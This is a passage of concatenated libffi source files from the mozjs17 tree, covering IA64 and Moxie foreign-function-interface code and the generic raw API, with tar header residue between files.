----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #ifndef LIBFFI_ASM typedef unsigned long long ffi_arg; typedef signed long long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_UNIX, /* Linux and all Unix variants use the same conventions */ FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_UNIX } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 24 /* Really the following struct, which */ /* can be interpreted as a C function */ /* descriptor: */ #endif mozjs17.0.0/js/src/ctypes/libffi/src/ia64/ffi.c0000664000175000017500000003573512106270662021024 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1998, 2007, 2008 Red Hat, Inc. Copyright (c) 2000 Hewlett Packard Company IA64 Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #include #include #include "ia64_flags.h" /* A 64-bit pointer value. In LP64 mode, this is effectively a plain pointer. In ILP32 mode, it's a pointer that's been extended to 64 bits by "addp4". */ typedef void *PTR64 __attribute__((mode(DI))); /* Memory image of fp register contents. This is the implementation specific format used by ldf.fill/stf.spill. All we care about is that it wants a 16 byte aligned slot. */ typedef struct { UINT64 x[2] __attribute__((aligned(16))); } fpreg; /* The stack layout given to ffi_call_unix and ffi_closure_unix_inner. */ struct ia64_args { fpreg fp_regs[8]; /* Contents of 8 fp arg registers. */ UINT64 gp_regs[8]; /* Contents of 8 gp arg registers. */ UINT64 other_args[]; /* Arguments passed on stack, variable size. */ }; /* Adjust ADDR, a pointer to an 8 byte slot, to point to the low LEN bytes. */ static inline void * endian_adjust (void *addr, size_t len) { #ifdef __BIG_ENDIAN__ return addr + (8 - len); #else return addr; #endif } /* Store VALUE to ADDR in the current cpu implementation's fp spill format. This is a macro instead of a function, so that it works for all 3 floating point types without type conversions. Type conversion to long double breaks the denorm support. */ #define stf_spill(addr, value) \ asm ("stf.spill %0 = %1%P0" : "=m" (*addr) : "f"(value)); /* Load a value from ADDR, which is in the current cpu implementation's fp spill format. As above, this must also be a macro. */ #define ldf_fill(result, addr) \ asm ("ldf.fill %0 = %1%P1" : "=f"(result) : "m"(*addr)); /* Return the size of the C type associated with with TYPE. Which will be one of the FFI_IA64_TYPE_HFA_* values. */ static size_t hfa_type_size (int type) { switch (type) { case FFI_IA64_TYPE_HFA_FLOAT: return sizeof(float); case FFI_IA64_TYPE_HFA_DOUBLE: return sizeof(double); case FFI_IA64_TYPE_HFA_LDOUBLE: return sizeof(__float80); default: abort (); } } /* Load from ADDR a value indicated by TYPE. Which will be one of the FFI_IA64_TYPE_HFA_* values. */ static void hfa_type_load (fpreg *fpaddr, int type, void *addr) { switch (type) { case FFI_IA64_TYPE_HFA_FLOAT: stf_spill (fpaddr, *(float *) addr); return; case FFI_IA64_TYPE_HFA_DOUBLE: stf_spill (fpaddr, *(double *) addr); return; case FFI_IA64_TYPE_HFA_LDOUBLE: stf_spill (fpaddr, *(__float80 *) addr); return; default: abort (); } } /* Load VALUE into ADDR as indicated by TYPE. Which will be one of the FFI_IA64_TYPE_HFA_* values. */ static void hfa_type_store (int type, void *addr, fpreg *fpaddr) { switch (type) { case FFI_IA64_TYPE_HFA_FLOAT: { float result; ldf_fill (result, fpaddr); *(float *) addr = result; break; } case FFI_IA64_TYPE_HFA_DOUBLE: { double result; ldf_fill (result, fpaddr); *(double *) addr = result; break; } case FFI_IA64_TYPE_HFA_LDOUBLE: { __float80 result; ldf_fill (result, fpaddr); *(__float80 *) addr = result; break; } default: abort (); } } /* Is TYPE a struct containing floats, doubles, or extended doubles, all of the same fp type? If so, return the element type. Return FFI_TYPE_VOID if not. */ static int hfa_element_type (ffi_type *type, int nested) { int element = FFI_TYPE_VOID; switch (type->type) { case FFI_TYPE_FLOAT: /* We want to return VOID for raw floating-point types, but the synthetic HFA type if we're nested within an aggregate. */ if (nested) element = FFI_IA64_TYPE_HFA_FLOAT; break; case FFI_TYPE_DOUBLE: /* Similarly. */ if (nested) element = FFI_IA64_TYPE_HFA_DOUBLE; break; case FFI_TYPE_LONGDOUBLE: /* Similarly, except that that HFA is true for double extended, but not quad precision. Both have sizeof == 16, so tell the difference based on the precision. */ if (LDBL_MANT_DIG == 64 && nested) element = FFI_IA64_TYPE_HFA_LDOUBLE; break; case FFI_TYPE_STRUCT: { ffi_type **ptr = &type->elements[0]; for (ptr = &type->elements[0]; *ptr ; ptr++) { int sub_element = hfa_element_type (*ptr, 1); if (sub_element == FFI_TYPE_VOID) return FFI_TYPE_VOID; if (element == FFI_TYPE_VOID) element = sub_element; else if (element != sub_element) return FFI_TYPE_VOID; } } break; default: return FFI_TYPE_VOID; } return element; } /* Perform machine dependent cif processing. */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { int flags; /* Adjust cif->bytes to include space for the bits of the ia64_args frame that precedes the integer register portion. The estimate that the generic bits did for the argument space required is good enough for the integer component. */ cif->bytes += offsetof(struct ia64_args, gp_regs[0]); if (cif->bytes < sizeof(struct ia64_args)) cif->bytes = sizeof(struct ia64_args); /* Set the return type flag. */ flags = cif->rtype->type; switch (cif->rtype->type) { case FFI_TYPE_LONGDOUBLE: /* Leave FFI_TYPE_LONGDOUBLE as meaning double extended precision, and encode quad precision as a two-word integer structure. */ if (LDBL_MANT_DIG != 64) flags = FFI_IA64_TYPE_SMALL_STRUCT | (16 << 8); break; case FFI_TYPE_STRUCT: { size_t size = cif->rtype->size; int hfa_type = hfa_element_type (cif->rtype, 0); if (hfa_type != FFI_TYPE_VOID) { size_t nelts = size / hfa_type_size (hfa_type); if (nelts <= 8) flags = hfa_type | (size << 8); } else { if (size <= 32) flags = FFI_IA64_TYPE_SMALL_STRUCT | (size << 8); } } break; default: break; } cif->flags = flags; return FFI_OK; } extern int ffi_call_unix (struct ia64_args *, PTR64, void (*)(void), UINT64); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { struct ia64_args *stack; long i, avn, gpcount, fpcount; ffi_type **p_arg; FFI_ASSERT (cif->abi == FFI_UNIX); /* If we have no spot for a return value, make one. */ if (rvalue == NULL && cif->rtype->type != FFI_TYPE_VOID) rvalue = alloca (cif->rtype->size); /* Allocate the stack frame. */ stack = alloca (cif->bytes); gpcount = fpcount = 0; avn = cif->nargs; for (i = 0, p_arg = cif->arg_types; i < avn; i++, p_arg++) { switch ((*p_arg)->type) { case FFI_TYPE_SINT8: stack->gp_regs[gpcount++] = *(SINT8 *)avalue[i]; break; case FFI_TYPE_UINT8: stack->gp_regs[gpcount++] = *(UINT8 *)avalue[i]; break; case FFI_TYPE_SINT16: stack->gp_regs[gpcount++] = *(SINT16 *)avalue[i]; break; case FFI_TYPE_UINT16: stack->gp_regs[gpcount++] = *(UINT16 *)avalue[i]; break; case FFI_TYPE_SINT32: stack->gp_regs[gpcount++] = *(SINT32 *)avalue[i]; break; case FFI_TYPE_UINT32: stack->gp_regs[gpcount++] = *(UINT32 *)avalue[i]; break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: stack->gp_regs[gpcount++] = *(UINT64 *)avalue[i]; break; case FFI_TYPE_POINTER: stack->gp_regs[gpcount++] = (UINT64)(PTR64) *(void **)avalue[i]; break; case FFI_TYPE_FLOAT: if (gpcount < 8 && fpcount < 8) stf_spill (&stack->fp_regs[fpcount++], *(float *)avalue[i]); stack->gp_regs[gpcount++] = *(UINT32 *)avalue[i]; break; case FFI_TYPE_DOUBLE: if (gpcount < 8 && fpcount < 8) stf_spill (&stack->fp_regs[fpcount++], *(double *)avalue[i]); stack->gp_regs[gpcount++] = *(UINT64 *)avalue[i]; break; case FFI_TYPE_LONGDOUBLE: if (gpcount & 1) gpcount++; if (LDBL_MANT_DIG == 64 && gpcount < 8 && fpcount < 8) stf_spill (&stack->fp_regs[fpcount++], *(__float80 *)avalue[i]); memcpy (&stack->gp_regs[gpcount], avalue[i], 16); gpcount += 2; break; case FFI_TYPE_STRUCT: { size_t size = (*p_arg)->size; size_t align = (*p_arg)->alignment; int hfa_type = hfa_element_type (*p_arg, 0); FFI_ASSERT (align <= 16); if (align == 16 && (gpcount & 1)) gpcount++; if (hfa_type != FFI_TYPE_VOID) { size_t hfa_size = hfa_type_size (hfa_type); size_t offset = 0; size_t gp_offset = gpcount * 8; while (fpcount < 8 && offset < size && gp_offset < 8 * 8) { hfa_type_load (&stack->fp_regs[fpcount], hfa_type, avalue[i] + offset); offset += hfa_size; gp_offset += hfa_size; fpcount += 1; } } memcpy (&stack->gp_regs[gpcount], avalue[i], size); gpcount += (size + 7) / 8; } break; default: abort (); } } ffi_call_unix (stack, rvalue, fn, cif->flags); } /* Closures represent a pair consisting of a function pointer, and some user data. A closure is invoked by reinterpreting the closure as a function pointer, and branching to it. Thus we can make an interpreted function callable as a C function: We turn the interpreter itself, together with a pointer specifying the interpreted procedure, into a closure. For IA64, function pointer are already pairs consisting of a code pointer, and a gp pointer. The latter is needed to access global variables. Here we set up such a pair as the first two words of the closure (in the "trampoline" area), but we replace the gp pointer with a pointer to the closure itself. We also add the real gp pointer to the closure. This allows the function entry code to both retrieve the user data, and to restire the correct gp pointer. */ extern void ffi_closure_unix (); ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void *codeloc) { /* The layout of a function descriptor. A C function pointer really points to one of these. */ struct ia64_fd { UINT64 code_pointer; UINT64 gp; }; struct ffi_ia64_trampoline_struct { UINT64 code_pointer; /* Pointer to ffi_closure_unix. */ UINT64 fake_gp; /* Pointer to closure, installed as gp. */ UINT64 real_gp; /* Real gp value. */ }; struct ffi_ia64_trampoline_struct *tramp; struct ia64_fd *fd; FFI_ASSERT (cif->abi == FFI_UNIX); tramp = (struct ffi_ia64_trampoline_struct *)closure->tramp; fd = (struct ia64_fd *)(void *)ffi_closure_unix; tramp->code_pointer = fd->code_pointer; tramp->real_gp = fd->gp; tramp->fake_gp = (UINT64)(PTR64)codeloc; closure->cif = cif; closure->user_data = user_data; closure->fun = fun; return FFI_OK; } UINT64 ffi_closure_unix_inner (ffi_closure *closure, struct ia64_args *stack, void *rvalue, void *r8) { ffi_cif *cif; void **avalue; ffi_type **p_arg; long i, avn, gpcount, fpcount; cif = closure->cif; avn = cif->nargs; avalue = alloca (avn * sizeof (void *)); /* If the structure return value is passed in memory get that location from r8 so as to pass the value directly back to the caller. */ if (cif->flags == FFI_TYPE_STRUCT) rvalue = r8; gpcount = fpcount = 0; for (i = 0, p_arg = cif->arg_types; i < avn; i++, p_arg++) { switch ((*p_arg)->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: avalue[i] = endian_adjust(&stack->gp_regs[gpcount++], 1); break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: avalue[i] = endian_adjust(&stack->gp_regs[gpcount++], 2); break; case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: avalue[i] = endian_adjust(&stack->gp_regs[gpcount++], 4); break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: avalue[i] = &stack->gp_regs[gpcount++]; break; case FFI_TYPE_POINTER: avalue[i] = endian_adjust(&stack->gp_regs[gpcount++], sizeof(void*)); break; case FFI_TYPE_FLOAT: if (gpcount < 8 && fpcount < 8) { fpreg *addr = &stack->fp_regs[fpcount++]; float result; avalue[i] = addr; ldf_fill (result, addr); *(float *)addr = result; } else avalue[i] = endian_adjust(&stack->gp_regs[gpcount], 4); gpcount++; break; case FFI_TYPE_DOUBLE: if (gpcount < 8 && fpcount < 8) { fpreg *addr = &stack->fp_regs[fpcount++]; double result; avalue[i] = addr; ldf_fill (result, addr); *(double *)addr = result; } else avalue[i] = &stack->gp_regs[gpcount]; gpcount++; break; case FFI_TYPE_LONGDOUBLE: if (gpcount & 1) gpcount++; if (LDBL_MANT_DIG == 64 && gpcount < 8 && fpcount < 8) { fpreg *addr = &stack->fp_regs[fpcount++]; __float80 result; avalue[i] = addr; ldf_fill (result, addr); *(__float80 *)addr = result; } else avalue[i] = &stack->gp_regs[gpcount]; gpcount += 2; break; case FFI_TYPE_STRUCT: { size_t size = (*p_arg)->size; size_t align = (*p_arg)->alignment; int hfa_type = hfa_element_type (*p_arg, 0); FFI_ASSERT (align <= 16); if (align == 16 && (gpcount & 1)) gpcount++; if (hfa_type != FFI_TYPE_VOID) { size_t hfa_size = hfa_type_size (hfa_type); size_t offset = 0; size_t gp_offset = gpcount * 8; void *addr = alloca (size); avalue[i] = addr; while (fpcount < 8 && offset < size && gp_offset < 8 * 8) { hfa_type_store (hfa_type, addr + offset, &stack->fp_regs[fpcount]); offset += hfa_size; gp_offset += hfa_size; fpcount += 1; } if (offset < size) memcpy (addr + offset, (char *)stack->gp_regs + gp_offset, size - offset); } else avalue[i] = &stack->gp_regs[gpcount]; gpcount += (size + 7) / 8; } break; default: abort (); } } closure->fun (cif, rvalue, avalue, closure->user_data); return cif->flags; } mozjs17.0.0/js/src/ctypes/libffi/src/raw_api.c0000664000175000017500000001366312106270662021133 0ustar sstanglsstangl/* ----------------------------------------------------------------------- raw_api.c - Copyright (c) 1999, 2008 Red Hat, Inc. Author: Kresten Krab Thorup Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ /* This file defines generic functions for use with the raw api. */ #include #include #if !FFI_NO_RAW_API size_t ffi_raw_size (ffi_cif *cif) { size_t result = 0; int i; ffi_type **at = cif->arg_types; for (i = cif->nargs-1; i >= 0; i--, at++) { #if !FFI_NO_STRUCTS if ((*at)->type == FFI_TYPE_STRUCT) result += ALIGN (sizeof (void*), FFI_SIZEOF_ARG); else #endif result += ALIGN ((*at)->size, FFI_SIZEOF_ARG); } return result; } void ffi_raw_to_ptrarray (ffi_cif *cif, ffi_raw *raw, void **args) { unsigned i; ffi_type **tp = cif->arg_types; #if WORDS_BIGENDIAN for (i = 0; i < cif->nargs; i++, tp++, args++) { switch ((*tp)->type) { case FFI_TYPE_UINT8: case FFI_TYPE_SINT8: *args = (void*) ((char*)(raw++) + FFI_SIZEOF_ARG - 1); break; case FFI_TYPE_UINT16: case FFI_TYPE_SINT16: *args = (void*) ((char*)(raw++) + FFI_SIZEOF_ARG - 2); break; #if FFI_SIZEOF_ARG >= 4 case FFI_TYPE_UINT32: case FFI_TYPE_SINT32: *args = (void*) ((char*)(raw++) + FFI_SIZEOF_ARG - 4); break; #endif #if !FFI_NO_STRUCTS case FFI_TYPE_STRUCT: *args = (raw++)->ptr; break; #endif case FFI_TYPE_POINTER: *args = (void*) &(raw++)->ptr; break; default: *args = raw; raw += ALIGN ((*tp)->size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; } } #else /* WORDS_BIGENDIAN */ #if !PDP /* then assume little endian */ for (i = 0; i < cif->nargs; i++, tp++, args++) { #if !FFI_NO_STRUCTS if ((*tp)->type == FFI_TYPE_STRUCT) { *args = (raw++)->ptr; } else #endif { *args = (void*) raw; raw += ALIGN ((*tp)->size, sizeof (void*)) / sizeof (void*); } } #else #error "pdp endian not supported" #endif /* ! PDP */ #endif /* WORDS_BIGENDIAN */ } void ffi_ptrarray_to_raw (ffi_cif *cif, void **args, ffi_raw *raw) { unsigned i; ffi_type **tp = cif->arg_types; for (i = 0; i < cif->nargs; i++, tp++, args++) { switch ((*tp)->type) { case FFI_TYPE_UINT8: (raw++)->uint = *(UINT8*) (*args); break; case FFI_TYPE_SINT8: (raw++)->sint = *(SINT8*) (*args); break; case FFI_TYPE_UINT16: (raw++)->uint = *(UINT16*) (*args); break; case FFI_TYPE_SINT16: (raw++)->sint = *(SINT16*) (*args); break; #if FFI_SIZEOF_ARG >= 4 case FFI_TYPE_UINT32: (raw++)->uint = *(UINT32*) (*args); break; case FFI_TYPE_SINT32: (raw++)->sint = *(SINT32*) (*args); break; #endif #if !FFI_NO_STRUCTS case FFI_TYPE_STRUCT: (raw++)->ptr = *args; break; #endif case FFI_TYPE_POINTER: (raw++)->ptr = **(void***) args; break; default: memcpy ((void*) raw->data, (void*)*args, (*tp)->size); raw += ALIGN ((*tp)->size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; } } } #if !FFI_NATIVE_RAW_API /* This is a generic definition of ffi_raw_call, to be used if the * native system does not provide a machine-specific implementation. * Having this, allows code to be written for the raw API, without * the need for system-specific code to handle input in that format; * these following couple of functions will handle the translation forth * and back automatically. */ void ffi_raw_call (ffi_cif *cif, void (*fn)(void), void *rvalue, ffi_raw *raw) { void **avalue = (void**) alloca (cif->nargs * sizeof (void*)); ffi_raw_to_ptrarray (cif, raw, avalue); ffi_call (cif, fn, rvalue, avalue); } #if FFI_CLOSURES /* base system provides closures */ static void ffi_translate_args (ffi_cif *cif, void *rvalue, void **avalue, void *user_data) { ffi_raw *raw = (ffi_raw*)alloca (ffi_raw_size (cif)); ffi_raw_closure *cl = (ffi_raw_closure*)user_data; ffi_ptrarray_to_raw (cif, avalue, raw); (*cl->fun) (cif, rvalue, raw, cl->user_data); } ffi_status ffi_prep_raw_closure_loc (ffi_raw_closure* cl, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_raw*,void*), void *user_data, void *codeloc) { ffi_status status; status = ffi_prep_closure_loc ((ffi_closure*) cl, cif, &ffi_translate_args, codeloc, codeloc); if (status == FFI_OK) { cl->fun = fun; cl->user_data = user_data; } return status; } #endif /* FFI_CLOSURES */ #endif /* !FFI_NATIVE_RAW_API */ #if FFI_CLOSURES /* Again, here is the generic version of ffi_prep_raw_closure, which * will install an intermediate "hub" for translation of arguments from * the pointer-array format, to the raw format */ ffi_status ffi_prep_raw_closure (ffi_raw_closure* cl, ffi_cif *cif, void (*fun)(ffi_cif*,void*,ffi_raw*,void*), void *user_data) { return ffi_prep_raw_closure_loc (cl, cif, fun, user_data, cl); } #endif /* FFI_CLOSURES */ #endif /* !FFI_NO_RAW_API */ mozjs17.0.0/js/src/ctypes/libffi/src/moxie/0000775000175000017500000000000012106270662020455 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/moxie/ffitarget.h0000664000175000017500000000355412106270662022610 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 2009 Anthony Green Target configuration macros for Moxie Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- System specific configurations ----------------------------------- */ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_EABI, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_EABI } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 0 #define FFI_NATIVE_RAW_API 0 /* Trampolines are 5 4-byte instructions long. */ #define FFI_TRAMPOLINE_SIZE (5*4) #endif mozjs17.0.0/js/src/ctypes/libffi/src/moxie/ffi.c0000664000175000017500000001714012106270662021370 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (C) 2009 Anthony Green Moxie Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments */ void *ffi_prep_args(char *stack, extended_cif *ecif) { register unsigned int i; register void **p_argv; register char *argp; register ffi_type **p_arg; register int count = 0; p_argv = ecif->avalue; argp = stack; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; (i != 0); i--, p_arg++) { size_t z; z = (*p_arg)->size; if ((*p_arg)->type == FFI_TYPE_STRUCT) { z = sizeof(void*); *(void **) argp = *p_argv; } /* if ((*p_arg)->type == FFI_TYPE_FLOAT) { if (count > 24) { // This is going on the stack. Turn it into a double. *(double *) argp = (double) *(float*)(* p_argv); z = sizeof(double); } else *(void **) argp = *(void **)(* p_argv); } */ else if (z < sizeof(int)) { z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int)*(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned int)*(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(signed int *) argp = (signed int)*(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(unsigned int *) argp = (unsigned int)*(UINT16 *)(* p_argv); break; default: FFI_ASSERT(0); } } else if (z == sizeof(int)) { *(unsigned int *) argp = (unsigned int)*(UINT32 *)(* p_argv); } else { memcpy(argp, *p_argv, z); } p_argv++; argp += z; count += z; } return (stack + ((count > 24) ? 24 : ALIGN_DOWN(count, 8))); } /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { if (cif->rtype->type == FFI_TYPE_STRUCT) cif->flags = -1; else cif->flags = cif->rtype->size; cif->bytes = ALIGN (cif->bytes, 8); return FFI_OK; } extern void ffi_call_EABI(void *(*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_EABI: ffi_call_EABI(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; default: FFI_ASSERT(0); break; } } void ffi_closure_eabi (unsigned arg1, unsigned arg2, unsigned arg3, unsigned arg4, unsigned arg5, unsigned arg6) { /* This function is called by a trampoline. The trampoline stows a pointer to the ffi_closure object in gr7. We must save this pointer in a place that will persist while we do our work. */ register ffi_closure *creg __asm__ ("gr7"); ffi_closure *closure = creg; /* Arguments that don't fit in registers are found on the stack at a fixed offset above the current frame pointer. */ register char *frame_pointer __asm__ ("fp"); char *stack_args = frame_pointer + 16; /* Lay the register arguments down in a continuous chunk of memory. */ unsigned register_args[6] = { arg1, arg2, arg3, arg4, arg5, arg6 }; ffi_cif *cif = closure->cif; ffi_type **arg_types = cif->arg_types; void **avalue = alloca (cif->nargs * sizeof(void *)); char *ptr = (char *) register_args; int i; /* Find the address of each argument. */ for (i = 0; i < cif->nargs; i++) { switch (arg_types[i]->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: avalue[i] = ptr + 3; break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: avalue[i] = ptr + 2; break; case FFI_TYPE_SINT32: case FFI_TYPE_UINT32: case FFI_TYPE_FLOAT: avalue[i] = ptr; break; case FFI_TYPE_STRUCT: avalue[i] = *(void**)ptr; break; default: /* This is an 8-byte value. */ avalue[i] = ptr; ptr += 4; break; } ptr += 4; /* If we've handled more arguments than fit in registers, start looking at the those passed on the stack. */ if (ptr == ((char *)register_args + (6*4))) ptr = stack_args; } /* Invoke the closure. */ if (cif->rtype->type == FFI_TYPE_STRUCT) { /* The caller allocates space for the return structure, and passes a pointer to this space in gr3. Use this value directly as the return value. */ register void *return_struct_ptr __asm__("gr3"); (closure->fun) (cif, return_struct_ptr, avalue, closure->user_data); } else { /* Allocate space for the return value and call the function. */ long long rvalue; (closure->fun) (cif, &rvalue, avalue, closure->user_data); /* Functions return 4-byte or smaller results in gr8. 8-byte values also use gr9. We fill the both, even for small return values, just to avoid a branch. */ asm ("ldi @(%0, #0), gr8" : : "r" (&rvalue)); asm ("ldi @(%0, #0), gr9" : : "r" (&((int *) &rvalue)[1])); } } ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { unsigned int *tramp = (unsigned int *) &closure->tramp[0]; unsigned long fn = (long) ffi_closure_eabi; unsigned long cls = (long) codeloc; int i; fn = (unsigned long) ffi_closure_eabi; tramp[0] = 0x8cfc0000 + (fn & 0xffff); /* setlos lo(fn), gr6 */ tramp[1] = 0x8efc0000 + (cls & 0xffff); /* setlos lo(cls), gr7 */ tramp[2] = 0x8cf80000 + (fn >> 16); /* sethi hi(fn), gr6 */ tramp[3] = 0x8ef80000 + (cls >> 16); /* sethi hi(cls), gr7 */ tramp[4] = 0x80300006; /* jmpl @(gr0, gr6) */ closure->cif = cif; closure->fun = fun; closure->user_data = user_data; /* Cache flushing. */ for (i = 0; i < FFI_TRAMPOLINE_SIZE; i++) __asm__ volatile ("dcf @(%0,%1)\n\tici @(%2,%1)" :: "r" (tramp), "r" (i), "r" (codeloc)); return FFI_OK; } mozjs17.0.0/js/src/ctypes/libffi/src/moxie/eabi.S0000664000175000017500000000652612106270662021512 0ustar sstanglsstangl/* ----------------------------------------------------------------------- eabi.S - Copyright (c) 2004 Anthony Green FR-V Assembly glue. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include .globl ffi_prep_args_EABI .text .p2align 4 .globl ffi_call_EABI .type ffi_call_EABI, @function # gr8 : ffi_prep_args # gr9 : &ecif # gr10: cif->bytes # gr11: fig->flags # gr12: ecif.rvalue # gr13: fn ffi_call_EABI: addi sp, #-80, sp sti fp, @(sp, #24) addi 